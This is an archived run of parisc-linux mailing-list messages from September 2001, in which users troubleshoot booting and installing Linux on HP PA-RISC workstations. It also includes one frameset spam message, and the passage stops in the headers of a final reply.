Date: Sat, 22 Sep 2001 01:56:10 +0200
Lines: 70
Approved: news@gmane.org
Message-ID: <20010922015609.A14166@dogbert.localdomain>
References: <20010921193553.A11874@dogbert.localdomain> <20010921180529.C32145@megatonmonkey.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="LQksG6bCIzRHxTLp"
X-Trace: ger.gmane.org 1416620502 25903 80.91.229.3 (22 Nov 2014 01:41:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 21 18:04:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 63B9B482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Sep 2001 18:04:26 -0600 (MDT)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #1)
	id 15kaHO-0003pK-00
	for parisc-linux@lists.parisc-linux.org; Sat, 22 Sep 2001 02:04:22 +0200
Original-Received: (qmail 9813 invoked from network); 21 Sep 2001 23:57:41 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 21 Sep 2001 23:57:41 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 15ka9S-0003lE-00; Sat, 22 Sep 2001 01:56:10 +0200
Content-Disposition: inline
In-Reply-To: <20010921180529.C32145@megatonmonkey.net>
User-Agent: Mutt/1.3.20i
Original-Sender: Albert Strasheim <fullung@dogbert.localdomain>
X-Scanner: exiscan *15kaHO-0003pK-00*rkOtySAGhlQ* http://duncanthrax.net/exiscan/
Xref: news.gmane.org gmane.linux.ports.parisc:12251

--LQksG6bCIzRHxTLp
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hello,

On Fri, 21 Sep 2001, Carlos O'Donell Jr. wrote:

> The rbootd is good.
> The lifimage is good.
> The bootp server is good.
>=20
> The baseplus root tarball is bad.

Should I try the base tarball (same date... :-( ) or is that known to be
bad too?
=20
> Coming from a similar situation, I had to manually change the
> permissions on the baseplus tarball to get it to work.=20
> Though I clearly can't remember what else I had to do... it was
> quite some time ago. I'm now using apt-get and the latest ISO to
> install machines.
>=20
> Questions:
>=20
> - Are you using devfs?

I have not modified anything in the nfsroot to use devfs, and I don't
think it's in the make oldconfig kernel I'm using, so I'd guess not.

> - Tried just letting the login prompt sit for a while after attempting
>   to login? (Usually the error might come after a _long_ time).

Yes, it's been sitting for many hours without any luck.

> On another note, you should try the cdrom installer, since it's
> much better and people have put a lot of work into it.

I have tried the CD-ROM installer (0.9.2), but kernel on there wouldn't
let me get past where init starts (more of this unaligned trap
goodness, according to the debian-hppa folks); init was running in some
kind of loop or something.

Should I perhaps try to boot 2.4.9-pa22, and modify the PALO arguments
to boot from this CD-ROM?

Regards,

Albert

P.S. Are there any 720/50's out there that actually work? :-)

--LQksG6bCIzRHxTLp
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE7q9OZDg+hOeRZtkMRArJNAJ9nVP40lDf50I29envY8coCgpI2LgCfadvS
Tz4iEfeoKsMnflpL+yJsXbs=
=bb4R
-----END PGP SIGNATURE-----

--LQksG6bCIzRHxTLp--




From - Thu Nov 08 21:19:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Tino Hirschmann" <tino.hirschmann@stud.fh-regensburg.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Problem installing new kernel
Date: Sat, 22 Sep 2001 02:42:12 +0200
Lines: 14
Approved: news@gmane.org
Message-ID: <000901c142ff$6bce2410$1900a8c0@aloha>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620502 25907 80.91.229.3 (22 Nov 2014 01:41:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:42 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 21 18:42:29 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailout03.sul.t-online.de (mailout03.sul.t-online.com [194.25.134.81])
	by dsl2.external.hp.com (Postfix) with ESMTP id 24E67482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Sep 2001 18:42:29 -0600 (MDT)
Original-Received: from fwd00.sul.t-online.de 
	by mailout03.sul.t-online.de with smtp 
	id 15kasF-0007Cq-02; Sat, 22 Sep 2001 02:42:27 +0200
Original-Received: from aloha (520001707959-0001@[217.84.29.250]) by fmrl00.sul.t-online.com
	with smtp id 15kasB-0Om3CCC; Sat, 22 Sep 2001 02:42:23 +0200
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2462.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2462.0000
X-Sender: 520001707959-0001@t-dialin.net
Xref: news.gmane.org gmane.linux.ports.parisc:12252

Hi,

i got palinux-0.9.2 running on my HP 715/80. I compiled the kernel as
discribed on the webpage.
But what do i have to do after i did make palo ?
I think make zlilo doesn't work here .-)

Thanks

Tino





From - Thu Nov 08 21:19:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: thunder7@xs4all.nl
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem installing new kernel
Date: Sat, 22 Sep 2001 07:28:42 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <20010922072842.A4157@middle.of.nowhere>
References: <000901c142ff$6bce2410$1900a8c0@aloha>
Reply-To: thunder7@xs4all.nl
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620502 25909 80.91.229.3 (22 Nov 2014 01:41:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:42 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 21 23:32:53 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp9.xs4all.nl (smtp9.xs4all.nl [194.109.127.135])
	by dsl2.external.hp.com (Postfix) with ESMTP id 891EC482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Sep 2001 23:32:52 -0600 (MDT)
Original-Received: from rivierenland.xs4all.nl (rivierenland.xs4all.nl [194.109.14.47])
	by smtp9.xs4all.nl (8.9.3/8.9.3) with ESMTP id HAA05317
	for <parisc-linux@lists.parisc-linux.org>; Sat, 22 Sep 2001 07:32:51 +0200 (CEST)
Original-Received: (qmail 4434 invoked from network); 22 Sep 2001 05:28:46 -0000
Original-Received: from unknown (HELO rivierenland.xs4all.nl) (unknown)
  by unknown with SMTP; 22 Sep 2001 05:28:46 -0000
Original-Received: (qmail 5037 invoked by uid 500); 22 Sep 2001 05:28:42 -0000
Content-Disposition: inline
In-Reply-To: <000901c142ff$6bce2410$1900a8c0@aloha>
User-Agent: Mutt/1.3.22.1i
Xref: news.gmane.org gmane.linux.ports.parisc:12253

On Sat, Sep 22, 2001 at 02:42:12AM +0200, Tino Hirschmann wrote:
> Hi,
> 
> i got palinux-0.9.2 running on my HP 715/80. I compiled the kernel as
> discribed on the webpage.
> But what do i have to do after i did make palo ?
> I think make zlilo doesn't work here .-)
> 
Edit /etc/palo.conf and run /sbin/palo

Good luck,
Jurriaan
-- 
This phantom which lived in my mind possessed qualities which I thought must be
innate to a creature of such grace and intelligence.
...
This impossibly delightful creature is gone, and now is even hard to remember.
        Jack Vance - Lyonesse II - The Green Pearl
GNU/Linux 2.4.9-ac10 SMP/ReiserFS 2x1402 bogomips load av: 0.45 0.12 0.04




From - Thu Nov 08 21:19:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Debian bootfloppies with -pa22 fails on 720/50
Date: Sat, 22 Sep 2001 09:05:49 +0200
Lines: 49
Approved: news@gmane.org
Message-ID: <20010922090549.A17199@dogbert.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="7JfCtLOvnd9MIVvH"
X-Trace: ger.gmane.org 1416620503 25910 80.91.229.3 (22 Nov 2014 01:41:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:43 +0000 (UTC)
Cc: debian-hppa@lists.debian.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 22 01:07:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id DB13D482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 22 Sep 2001 01:07:24 -0600 (MDT)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #1)
	id 15kgsj-0007wx-00
	for parisc-linux@lists.parisc-linux.org; Sat, 22 Sep 2001 09:07:21 +0200
Original-Received: (qmail 10279 invoked from network); 22 Sep 2001 07:07:21 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 22 Sep 2001 07:07:21 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 15kgrG-0004Vv-00; Sat, 22 Sep 2001 09:05:50 +0200
Content-Disposition: inline
User-Agent: Mutt/1.3.20i
Original-Sender: Albert Strasheim <fullung@dogbert.localdomain>
X-Scanner: exiscan *15kgsj-0007wx-00*oMd49jjHkJE* http://duncanthrax.net/exiscan/
Xref: news.gmane.org gmane.linux.ports.parisc:12254

--7JfCtLOvnd9MIVvH
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hello,

I followed Richard Hirst's instructions:

 palo -f /dev/null -k vmlinux -r root.bin -s lifimage \
        -c "0/linux HOME=/ root=/dev/ram initrd=0/ramdisk"

to modify the current Debian binary-hppa root.bin to boot 2.4.9-pa22 on
my 720/50 (via rbootd lifimage). However, the problems from the 0.9.2
CD-ROM install returned:

Linux version 2.4.9-pa22 (fullung@dogbert) (gcc version 3.0.2 20010829 (prerelease)) #8 Sat Sep 22 02:57:21 SAST 2001
...
RAMDISK: Compressed image found at block 0
VFS: Mounted root (ext2 filesystem).
handle_interruption() pid=1 command='init'
handle_interruption() pid=1 command='init'
handle_interruption() pid=1 command='init'
...

I'd be happy to test ANY (ANY! :-)) patches the great hackers of the
PA-RISC domain might have to offer. My HP is depending on you to get the
sweetest distro in the world installed! :-)

Regards,

Albert

--7JfCtLOvnd9MIVvH
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE7rDhNDg+hOeRZtkMRAsmPAJ98PIWn7SfaOQttrJE7a+QLC1G9PACfWMyF
AWs9Kc43o7VFt530OwzJ+cA=
=vLDn
-----END PGP SIGNATURE-----

--7JfCtLOvnd9MIVvH--




From - Thu Nov 08 21:19:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: emailbase@371.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ʹcoolstarpage!ķÿ1
Date: Sat, 22 Nov 2014 01:41:43 +0000 (UTC)
Lines: 39
Approved: news@gmane.org
Message-ID: <20010922114339.21789.qmail@mailserv2.iuinc.com>
Reply-To: coolstarpage <service@coolstarpage.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/related;
	boundary="----=_=_NextPart_AAA_BBBB_01C11A5B.CEFD965";
	type="multipart/alternative"
X-Trace: ger.gmane.org 1416620503 25912 80.91.229.3 (22 Nov 2014 01:41:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:43 +0000 (UTC)
To: "" <parisc-linux@thepuffingroup.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 22 05:42:55 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id E9EB6482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 22 Sep 2001 05:42:53 -0600 (MDT)
Original-Received: from mailserv2.iuinc.com (mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id FAA10779
	for <parisc-linux@puffin.external.hp.com>; Sat, 22 Sep 2001 05:40:14 -0600
Original-Received: (qmail 21790 invoked by uid 15267); 22 Sep 2001 11:43:39 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21770 invoked from network); 22 Sep 2001 11:43:38 -0000
Original-Received: from unknown (HELO 371.net) (202.102.242.179)
  by mailserv2.iuinc.com with SMTP; 22 Sep 2001 11:43:38 -0000
Original-Received: (umta 17306 invoked from network); 22 Sep 2001 11:32:58 -0000
Original-Received: from unknown (HELO coolstarpage) (61.163.57.199)
  by localhost with SMTP; 22 Sep 2001 11:32:58 -0000
Original-Date: Wed,22  2001 19:38:47 +0800
X-Priority: 1
X-MSMail-Priority: High
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Xref: news.gmane.org gmane.linux.ports.parisc:12255


------=_=_NextPart_AAA_BBBB_01C11A5B.CEFD965
Content-Type: multipart/alternative;
	boundary="----=_=_NextPart_CCC_DDDD_01C11A8E.4ECE36A0"

------=_=_NextPart_CCC_DDDD_01C11A8E.4ECE36A0
Content-Type: text/html;
	charset="gb2312"
Content-Transfer-Encoding: 8bit

<html>

<head>
<meta HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=gb2312">
</head>

<frameset rows="1,*" framespacing="0" border="0" frameborder="0">
  <frame name="header" scrolling="no" noresize target="main" src="new_page_3.htm">
  <frame name="main" src="http://www.coolstarpage.com">
  <noframes>
  <body>

  <p>ҳʹ˿ܣֿ֧ܡ</p>

  
  </noframes>
</frameset>




</body></html>      

------=_=_NextPart_CCC_DDDD_01C11A8E.4ECE36A0--
------=_=_NextPart_AAA_BBBB_01C11A5B.CEFD965--





From - Thu Nov 08 21:19:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Allen <ra@hp.is>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C360 install fails
Date: Sat, 22 Sep 2001 16:30:43 +0000
Lines: 48
Approved: news@gmane.org
Message-ID: <20010922163043.A16403@hp.is>
References: <20010921135335.E11577@hp.is> <20010921213801.K24917@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620503 25914 80.91.229.3 (22 Nov 2014 01:41:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 22 10:30:52 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from xo.hp.is (xo.hp.is [194.105.242.199])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8FD07482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 22 Sep 2001 10:30:51 -0600 (MDT)
Original-Received: (from ra@localhost)
	by xo.hp.is (8.11.6/RA-8.11.6) id f8MGUil16569;
	Sat, 22 Sep 2001 16:30:44 GMT
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010921213801.K24917@linuxcare.com>; from rhirst@linuxcare.com on Fri, Sep 21, 2001 at 09:38:01PM +0100
X-Subliminal-Message: Microsoft sucks! Update your system to Linux today!
Xref: news.gmane.org gmane.linux.ports.parisc:12256

On Fri, Sep 21, 2001 at 09:38:01PM +0100, Richard Hirst wrote:

> On booting, my C360 says
> 
> 1. Raven U/L2 Dino RS-232 (10) at 0xf2003000, versions 0x6, 0x0, 0x8c, 0x0, 0x0 
> 3. Raven+ w SE FWSCSI Core RS-232 (10) at 0xffd05000, versions 0x56, 0x0, 0x8c, 0x0, 0x0
> ...
> ttyS00 at iomem 0xffd05800 (irq = 154) is a 16550A 
> ...
> 
> So 0xffd05805 looks like a reasonable address for it to try and access.
> 
> Does it crash at the same place if you try again?

I didnt give up and I tried all kinds og combinations.  I noticed
when I was booting off the CD (for the tenth time I think) that
the install kernel was 32 bit so I opted for that one a I got further.
I actually got so far as it began installing packages, but crashed
at random places in the package installation.

I then loopback mounted the ISO image and NFS exported it and did the
install via NFS and then finally it worked.

Then when I had the system up and running I was adding extra packages
(telnetd, openssl and openssh) when it crashed again.

I now have it in a pretty good state. Ive "apt-get upgrade" every package
and installed all the development environment and compiled yesterdays
kernel snapshot.

bofh:~# uname -a
Linux bofh 2.4.9-pa24 #2 Fri Sep 21 20:40:31 UTC 2001 parisc unknown
bofh:~# uptime
 16:29:35 up 19:10,  1 user,  load average: 0.00, 0.00, 0.00

Not a single crash since I booted the new kernel so Im very hopeful
that Ive gained some stability.

Now to find an area I can contribute to :)

-- 
Rikki.         --  HP Technical Support, RHCE, RHCX, HP-UX Certified Admin.
               --  Solaris 7 Certified Systems and Network Administrator.
Bell Labs Unix --  Reach out and grep someone.
Those who do not understand Unix are condemned to reinvent it, poorly.




From - Thu Nov 08 21:19:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tilman Baumann <tilli@tilli.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] hp715-50 scorpio
Date: Sat, 22 Sep 2001 21:49:16 +0200
Lines: 12
Approved: news@gmane.org
Message-ID: <01092221491600.03488@tilli>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620504 25916 80.91.229.3 (22 Nov 2014 01:41:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:44 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 22 13:48:22 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from raid.core-systems.de (dip-094.breisnet-online.de [213.218.5.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id B6808482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 22 Sep 2001 13:48:20 -0600 (MDT)
Original-Received: from tilli (Lenin.core-systems.de [192.168.0.10] (may be forged))
	by raid.core-systems.de (8.11.3/8.11.2/SuSE Linux 8.11.1-0.5) with SMTP id f8MJmJ504798
	for <parisc-linux@lists.parisc-linux.org>; Sat, 22 Sep 2001 21:48:19 +0200
X-Mailer: KMail [version 1.2]
Xref: news.gmane.org gmane.linux.ports.parisc:12257

hi, can anyone of you tell me, if it makes sense to install parisc-linux on 
my machine?
I have a hp715-50 scorpio.
Ore are there other os's better in this case? for example OpenBSD or hpux.

thx and sorry for my english.

 - please answer per email directly to me. because im not registered at this 
list. thx




From - Thu Nov 08 21:19:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tilman Baumann <Simsalabimson@web.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] hp715-50 scorpio - this is the real emailaddress
Date: Sat, 22 Sep 2001 22:26:51 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <01092222265101.03631@tilli>
Reply-To: Simsalabimson@web.de
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620504 25926 80.91.229.3 (22 Nov 2014 01:41:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:44 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 22 14:25:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from raid.core-systems.de (dip-094.breisnet-online.de [213.218.5.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0D26B482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 22 Sep 2001 14:25:55 -0600 (MDT)
Original-Received: from tilli (Lenin.core-systems.de [192.168.0.10] (may be forged))
	by raid.core-systems.de (8.11.3/8.11.2/SuSE Linux 8.11.1-0.5) with SMTP id f8MKPr504891
	for <parisc-linux@lists.parisc-linux.org>; Sat, 22 Sep 2001 22:25:54 +0200
X-Mailer: KMail [version 1.2]
Xref: news.gmane.org gmane.linux.ports.parisc:12258

Sorry, i have sent this mail with a missconfigured MUA. sorry. 
hehe the original message.

----

hi, can anyone of you tell me, if it makes sense to install parisc-linux on 
my machine?
I have a hp715-50 scorpio.
Ore are there other os's better in this case? for example OpenBSD or hpux.

thx and sorry for my english.

 - please answer per email directly to me. because im not registered at this 
list. thx




From - Thu Nov 08 21:19:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] nfsroot login problems on 720/50
Date: Sun, 23 Sep 2001 16:00:05 +0200
Lines: 73
Approved: news@gmane.org
Message-ID: <20010923160005.A30607@dogbert.localdomain>
References: <20010921193553.A11874@dogbert.localdomain> <20010921180529.C32145@megatonmonkey.net> <20010922015609.A14166@dogbert.localdomain> <20010922125826.C6488@megatonmonkey.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620504 25935 80.91.229.3 (22 Nov 2014 01:41:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:44 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 23 08:07:31 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 829984863
	for <parisc-linux@lists.parisc-linux.org>; Sun, 23 Sep 2001 08:07:30 -0600 (MDT)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #1)
	id 15l9ul-0008Od-00
	for parisc-linux@lists.parisc-linux.org; Sun, 23 Sep 2001 16:07:23 +0200
Original-Received: (qmail 4420 invoked from network); 23 Sep 2001 14:00:41 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 23 Sep 2001 14:00:41 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 15l9ni-00080x-00; Sun, 23 Sep 2001 16:00:06 +0200
Content-Disposition: inline
In-Reply-To: <20010922125826.C6488@megatonmonkey.net>
User-Agent: Mutt/1.3.20i
Original-Sender: Albert Strasheim <fullung@dogbert.localdomain>
X-Scanner: exiscan *15l9ul-0008Od-00*40INLHrq0Rw* http://duncanthrax.net/exiscan/
Xref: news.gmane.org gmane.linux.ports.parisc:12259

Hello,

On Sat, 22 Sep 2001, Carlos O'Donell Jr. wrote:

> > 
> > Should I try the base tarball (same date... :-( ) or is that known to be
> > bad too?
> >  
> 
> In reality all those tarballs are old, glibc is old... it's all old.
> Usually the problem lies in a bad telnetd that was on those tarballs.
> I think I remember xcompiling telnetd and sticking it into the nfsroot.
> Remember that mounting an nfs root will cause the root to be a readonly
> fs. This raises some large issues, but should still allow you to login.

What if it is a rw,no_root_squash export? Or does the Debian initscript
not support remounting the nfsroot rw? Or is it a limitation of the
Linux kernel?
 
> > I have not modified anything in the nfsroot to use devfs, and I don't
> > think it's in the make oldconfig kernel I'm using, so I'd guess not.
> The nfsroot doesn't care about devfs. Though the kernel does.
> Try make menuconfig and enable devfs. Compile a new kernel, stick it
> in your tftp directory and reboot.

Okay, will do. I've enabled CONFIG_DEVFS_FS and CONFIG_DEVFS_MOUNT.
 
> > I have tried the CD-ROM installer (0.9.2), but kernel on there wouldn't
> > let me get past where init starts (more of this unaligned trap
> > goodness, according to the debian-hppa folks); init was running in some
> > kind of loop or something.
> > 
> 
> Same here with 712/60, 715/50, and 715/33 (though I haven't tested
> it fully since I had a root tarball that was serving the purpose).
> If you can get the system to a semi-running state, you can use apt
> to dist-upgrade to the latest everything. Which is what I've done.
> 
> Though I'm looking at fai.
> 
> > P.S. Are there any 720/50's out there that actually work? :-)
> 
> Check the site. See the hardware list. Find some 720/50 owners and
> email them :)

When booting with the old baseplus, I got the following messages:

INIT: version 2.78 booting
rcS(13): unaligned access to 0x0007dca3 at ip=0x0005d807
Not-handled unaligned insn 0x0cd31200
Unaligned handler failed, ret = -1 INIT: Entering runlevel: 2
<4>rc(16): unaligned access to 0x0007dca3 at ip=0x0005d807
Not-handled unaligned insn 0x0cd31200
Unaligned handler failed, ret = -1 <4>rc(17): unaligned access to
0x0007dca9 at 
ip=0x0005db23
Not-handled unaligned insn 0x0f131200
Unaligned handler failed, ret = -1 
Debian GNU/Linux testing/unstable
pehc base tarball 2001-04-04 see /home/demo/README for more info
bob login: 

Should these concern me, or not?

I'm going to try building a new nfsroot tarball with the latest debs.
Hopefully that will do the trick.

Regards,

Albert




From - Thu Nov 08 21:19:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] nfsroot login problems on 720/50
Date: Sun, 23 Sep 2001 13:55:50 -0400
Lines: 40
Approved: news@gmane.org
Message-ID: <20010923135550.B1512@megatonmonkey.net>
References: <20010921193553.A11874@dogbert.localdomain> <20010921180529.C32145@megatonmonkey.net> <20010922015609.A14166@dogbert.localdomain> <20010922125826.C6488@megatonmonkey.net> <20010923160005.A30607@dogbert.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620505 25947 80.91.229.3 (22 Nov 2014 01:41:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:45 +0000 (UTC)
To: Albert Strasheim <fullung@ilink.nis.za>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 23 11:54:40 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from megatonmonkey.net (cr821974-a.lndn1.on.wave.home.com [24.112.53.173])
	by dsl2.external.hp.com (Postfix) with ESMTP id ED307485D
	for <parisc-linux@lists.parisc-linux.org>; Sun, 23 Sep 2001 11:54:39 -0600 (MDT)
Original-Received: from sh.od.inet (IDENT:root@systemhalted [192.168.1.1])
	by megatonmonkey.net (8.11.0/8.11.0) with ESMTP id f8NIHdG19491;
	Sun, 23 Sep 2001 14:17:39 -0400
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id f8NHtos01613;
